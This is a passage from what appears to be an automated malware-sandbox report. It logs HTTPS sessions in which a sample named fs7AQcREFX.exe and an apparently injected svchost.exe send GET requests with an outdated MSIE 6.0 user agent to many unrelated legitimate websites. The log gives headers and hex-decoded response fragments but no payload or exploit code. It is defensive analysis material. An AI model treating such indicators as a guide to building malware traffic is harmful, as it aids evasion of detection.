Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://hyab.com">here</a>.</p></body></html>
2023-05-31 12:52:00 UTC	2827	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.3	64992	75.2.95.235	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-31 12:52:00 UTC	2827	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: ldh.la.gov
2023-05-31 12:52:00 UTC	2828	IN	HTTP/1.1 406 Not Acceptable Date: Wed, 31 May 2023 12:52:00 GMT Content-Type: text/html Content-Length: 1346 Connection: close Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET
2023-05-31 12:52:00 UTC	2828	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 36 20 2d 20 43 6c 69 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>406 - Cli

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.3	50491	91.229.22.126	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-31 12:52:02 UTC	3982	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: pleszew.policja.gov.pl
2023-05-31 12:52:02 UTC	3982	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 31 May 2023 12:53:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2023-05-31 12:52:02 UTC	3983	IN	Data Raw: 31 66 63 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 6c 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 49 6e 64 65 78 2c 20 46 6f 6c 6c 6f 77 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 50 50 20 50 6c 65 Data Ascii: 1fc0<!DOCTYPE html><html lang="pl"> <head> <meta charset="UTF-8"/> <meta name="description" content=" "/> <meta name="keywords" content=""/> <meta name="robots" content="Index, Follow"/> <meta name="author" content="KPP Ple
2023-05-31 12:52:02 UTC	4238	IN	Data Raw: 4e 41 52 49 55 4d 20 43 45 44 55 52 20 50 54 2e 20 e2 80 9e 43 59 42 45 52 42 45 5a 50 49 45 43 5a 45 c5 83 53 54 57 4f 20 57 2e 2e 2e 3c 2f 61 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 68 33 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 65 74 61 2d 62 6f 74 74 6f 6d 20 68 69 64 65 22 3e 0d 0a 20 0d 0a 32 30 30 30 0d 0a 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 72 2d 6f 6e 6c 79 22 3e 44 61 74 61 20 70 75 62 6c 69 6b 61 63 6a 69 3a 20 3c 2f 73 70 61 6e 3e 3c 69 20 63 6c 61 73 73 3d 22 66 61 20 66 61 2d 63 6c 6f 63 6b 2d 6f 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 22 74 72 75 65 22 3e 3c 2f 69 3e 20 31 39 2e 30 31 2e 32 30 32 33 Data Ascii: NARIUM CEDUR PT. CYBERBEZPIECZESTWO W...</a> </h3> </div> <div class="meta-bottom hide"> 2000 <span class="sr-only">Data publikacji: </span><i class="fa fa-clock-o" aria-hidden="true"></i> 19.01.2023
2023-05-31 12:52:02 UTC	4254	IN	Data Raw: 31 32 36 31 38 22 20 61 6c 74 3d 22 47 c5 82 75 63 68 6f 6e 69 65 6d 69 22 20 2f 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0a 09 09 0a 09 0a 09 09 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 74 65 6d 22 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 33 30 30 70 78 3b 20 68 65 69 67 68 74 3a 31 37 39 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 22 3e 3c 61 20 68 72 65 66 3d 22 2f 77 32 30 2f 62 61 74 6f 6e 79 2f 34 35 39 36 2c 0d 0a 31 30 30 30 0d 0a 5a 6f 73 74 61 6e 2d 6a 65 64 6e 79 6d 2d 7a 2d 6e 61 73 2d 50 52 41 43 41 2d 57 2d 50 4f 4c 49 43 4a 49 2e 68 74 6d 6c 22 20 74 61 72 67 65 74 3d 22 5f 74 6f 70 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 64 6f 6b 75 6d 65 6e 74 79 2f 62 61 74 6f 6e 79 2f 34 35 39 36 2e 6a 70 67 3f 76 3d 31 36 35 37 31 Data Ascii: 12618" alt="Guchoniemi" /></a></div><div class="item" style="width:300px; height:179px;margin-bottom:10px"><a href="/w20/batony/4596,1000Zostan-jednym-z-nas-PRACA-W-POLICJI.html" target="_top"><img src="/dokumenty/batony/4596.jpg?v=16571

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.3	50520	172.67.156.49	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-31 12:52:03 UTC	4270	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: orlyhotel.com
2023-05-31 12:52:27 UTC	8116	IN	HTTP/1.1 500 Internal Server Error Date: Wed, 31 May 2023 12:52:27 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Cache-Control: max-age=0, no-store, no-cache, must-revalidate Expires: Wed, 31 May 2023 12:41:10 GMT Content-Language: en Last-Modified: Wed, 31 May 2023 12:41:10 GMT X-Frame-Options: SAMEORIGIN Vary: Accept-Language Set-Cookie: django_language=en; expires=Thu, 30-May-2024 12:41:10 GMT; Max-Age=31536000; Path=/ CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=p78xnKBoHeAh6DyFE6xfEshJ%2BoFkiLolhkJ61yJdai6km%2FKlt1QauQklwSj7H5dixb8R5ktDJdO0l50N3OZdjc8vvnBx%2BjB0iA6Rs%2Fs%2B8L7G7wAo7xsl78d89Q37aVNT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7cff5a0f8fbf9183-FRA alt-svc: h3=":443"; ma=86400
2023-05-31 12:52:27 UTC	8117	IN	Data Raw: 31 62 0d 0a 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 20 28 35 30 30 29 3c 2f 68 31 3e 0d 0a Data Ascii: 1b<h1>Server Error (500)</h1>
2023-05-31 12:52:27 UTC	8117	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.3	50521	188.114.97.7	443	C:\Users\user\Desktop\fs7AQcREFX.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-31 12:52:03 UTC	4334	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: hyab.se
2023-05-31 12:52:03 UTC	4510	IN	HTTP/1.1 302 Found Date: Wed, 31 May 2023 12:52:03 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Location: https://hyab.com Cache-Control: max-age=600 Expires: Wed, 31 May 2023 13:02:03 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=gN9w9IiDfWcTopsPlRThwISGXZTqLRuT1fD2vULbQ6gOn9UJ%2Br40yMDuG04Dg2UURbPKkaQdGiCfpVlg8M%2BlP7i9QMldhUqpEzzfM9YxyeLyiDdhfjyIoQYo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7cff5a0f880c360c-FRA alt-svc: h3=":443"; ma=86400
2023-05-31 12:52:03 UTC	4511	IN	Data Raw: 63 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 79 61 62 2e 63 6f 6d 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: c8<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://hyab.com">here</a>.</p></body></html>
2023-05-31 12:52:03 UTC	4511	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.3	50547	35.214.171.193	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-31 12:52:03 UTC	4767	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: flamingorecordings.com
2023-05-31 12:52:03 UTC	4767	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Wed, 31 May 2023 12:52:03 GMT Content-Type: text/html Content-Length: 75193 Connection: close Vary: Accept-Encoding ETag: "6459edff-125b9" Host-Header: 8441280b0c35cbc1147f8ba998a563a7 X-Proxy-Cache-Info: DT:1
2023-05-31 12:52:03 UTC	4768	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 73 74 6f 72 65 2c 6d 61 78 2d 61 67 65 3d 30 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 20 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="cache-control" content="no-store,max-age=0" /> <meta name="robots" content="noindex"
2023-05-31 12:52:03 UTC	4783	IN	Data Raw: 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 31 39 37 2e 31 31 20 35 39 2e 30 33 31 20 31 39 35 2e 32 36 38 20 36 31 2e 31 34 34 20 31 39 37 2e 31 31 20 36 33 2e 32 35 38 20 31 39 38 2e 39 34 38 20 36 31 2e 31 34 34 20 31 39 37 2e 31 31 20 35 39 2e 30 33 31 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 31 39 37 2e 31 31 20 34 37 2e 32 32 35 20 31 39 35 2e 32 36 38 20 34 39 2e 33 33 38 20 31 39 37 2e 31 31 20 35 31 2e 34 35 32 20 31 39 38 2e 39 34 38 20 34 39 2e 33 33 38 20 31 39 37 2e 31 31 20 34 37 2e 32 32 35 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 31 39 37 2e 31 31 20 33 35 2e 34 31 39 20 31 39 35 2e Data Ascii: fill="#fff"/><polygon points="197.11 59.031 195.268 61.144 197.11 63.258 198.948 61.144 197.11 59.031" fill="#fff"/><polygon points="197.11 47.225 195.268 49.338 197.11 51.452 198.948 49.338 197.11 47.225" fill="#fff"/><polygon points="197.11 35.419 195.
2023-05-31 12:52:03 UTC	4799	IN	Data Raw: 20 31 31 33 2e 31 35 34 20 36 31 2e 31 34 34 20 31 31 34 2e 39 39 36 20 36 33 2e 32 35 38 20 31 31 36 2e 38 33 34 20 36 31 2e 31 34 34 20 31 31 34 2e 39 39 36 20 35 39 2e 30 33 31 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 31 31 34 2e 39 39 36 20 34 37 2e 32 32 35 20 31 31 33 2e 31 35 34 20 34 39 2e 33 33 38 20 31 31 34 2e 39 39 36 20 35 31 2e 34 35 32 20 31 31 36 2e 38 33 34 20 34 39 2e 33 33 38 20 31 31 34 2e 39 39 36 20 34 37 2e 32 32 35 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 31 31 34 2e 39 39 36 20 33 35 2e 34 31 39 20 31 31 33 2e 31 35 34 20 33 37 2e 35 33 32 20 31 31 34 2e 39 39 36 20 33 39 2e 36 34 36 20 31 31 36 2e 38 33 34 20 33 37 2e 35 Data Ascii: 113.154 61.144 114.996 63.258 116.834 61.144 114.996 59.031" fill="#fff"/><polygon points="114.996 47.225 113.154 49.338 114.996 51.452 116.834 49.338 114.996 47.225" fill="#fff"/><polygon points="114.996 35.419 113.154 37.532 114.996 39.646 116.834 37.5
2023-05-31 12:52:03 UTC	4815	IN	Data Raw: 34 2e 39 32 31 20 32 34 30 2e 30 34 32 20 31 34 32 2e 38 30 38 20 32 33 38 2e 32 30 33 20 31 34 30 2e 36 39 34 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 32 34 36 2e 36 33 38 20 32 32 35 2e 34 35 31 20 32 34 38 2e 34 37 38 20 32 32 37 2e 35 36 35 20 32 35 30 2e 33 31 36 20 32 32 35 2e 34 35 31 20 32 34 38 2e 34 37 38 20 32 32 33 2e 33 33 37 20 32 34 36 2e 36 33 38 20 32 32 35 2e 34 35 31 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 32 34 38 2e 34 37 38 20 32 31 35 2e 37 35 39 20 32 35 30 2e 33 31 36 20 32 31 33 2e 36 34 35 20 32 34 38 2e 34 37 38 20 32 31 31 2e 35 33 31 20 32 34 36 2e 36 33 36 20 32 31 33 2e 36 34 35 20 32 34 38 2e 34 37 38 20 32 31 35 Data Ascii: 4.921 240.042 142.808 238.203 140.694" fill="#fff"/><polygon points="246.638 225.451 248.478 227.565 250.316 225.451 248.478 223.337 246.638 225.451" fill="#fff"/><polygon points="248.478 215.759 250.316 213.645 248.478 211.531 246.636 213.645 248.478 215
2023-05-31 12:52:03 UTC	4831	IN	Data Raw: 38 20 39 34 2e 34 34 38 20 32 30 33 2e 39 35 32 20 39 36 2e 32 38 36 20 32 30 31 2e 38 33 38 20 39 34 2e 34 34 38 20 31 39 39 2e 37 32 35 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 39 34 2e 34 34 38 20 31 38 37 2e 39 31 39 20 39 32 2e 36 31 20 31 39 30 2e 30 33 32 20 39 34 2e 34 34 38 20 31 39 32 2e 31 34 36 20 39 36 2e 32 38 36 20 31 39 30 2e 30 33 32 20 39 34 2e 34 34 38 20 31 38 37 2e 39 31 39 22 20 66 69 6c 6c 3d 22 23 66 66 66 22 2f 3e 3c 70 6f 6c 79 67 6f 6e 20 70 6f 69 6e 74 73 3d 22 39 34 2e 34 34 38 20 31 37 36 2e 31 31 33 20 39 32 2e 36 31 20 31 37 38 2e 32 32 36 20 39 34 2e 34 34 38 20 31 38 30 2e 33 34 20 39 36 2e 32 38 36 20 31 37 38 2e 32 32 36 20 39 34 2e 34 34 38 20 31 37 36 2e 31 31 33 Data Ascii: 8 94.448 203.952 96.286 201.838 94.448 199.725" fill="#fff"/><polygon points="94.448 187.919 92.61 190.032 94.448 192.146 96.286 190.032 94.448 187.919" fill="#fff"/><polygon points="94.448 176.113 92.61 178.226 94.448 180.34 96.286 178.226 94.448 176.113

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.3	50561	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-31 12:52:03 UTC	4921	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-05-31 12:52:03 UTC	5081	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 May 2023 12:52:03 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-05-31 12:52:03 UTC	5082	IN	Data Raw: 32 63 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 27 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 27 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 43 6f 6e 74 65 6e 74 2d 54 79 70 65 27 20 63 6f 6e 74 65 6e 74 3d 27 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 27 3e 3c 2f 68 65 61 64 3e 3c 62 Data Ascii: 2c6<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML 2.0//EN'><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv='Content-Type' content='text/html; charset=utf-8'></head><b

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.3	50571	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-31 12:52:03 UTC	5082	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-05-31 12:52:03 UTC	5083	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 May 2023 12:52:03 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-05-31 12:52:03 UTC	5083	IN	Data Raw: 32 63 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 27 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 27 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 43 6f 6e 74 65 6e 74 2d 54 79 70 65 27 20 63 6f 6e 74 65 6e 74 3d 27 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 27 3e 3c 2f 68 65 61 64 3e 3c 62 Data Ascii: 2c6<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML 2.0//EN'><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv='Content-Type' content='text/html; charset=utf-8'></head><b

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.3	50581	94.130.146.206	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-31 12:52:04 UTC	5340	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: diamir.de
2023-05-31 12:52:04 UTC	5340	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Wed, 31 May 2023 12:52:04 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.diamir.de/ Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-05-31 12:52:04 UTC	5340	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.3	50587	94.130.146.206	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-31 12:52:04 UTC	5356	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.diamir.de
2023-05-31 12:52:04 UTC	5527	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Wed, 31 May 2023 12:52:04 GMT Content-Type: text/html Content-Length: 548 Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-05-31 12:52:04 UTC	5527	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	50408	94.130.146.206	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-31 12:51:51 UTC	0	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: diamir.de
2023-05-31 12:51:51 UTC	2	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Wed, 31 May 2023 12:51:51 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.diamir.de/ Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
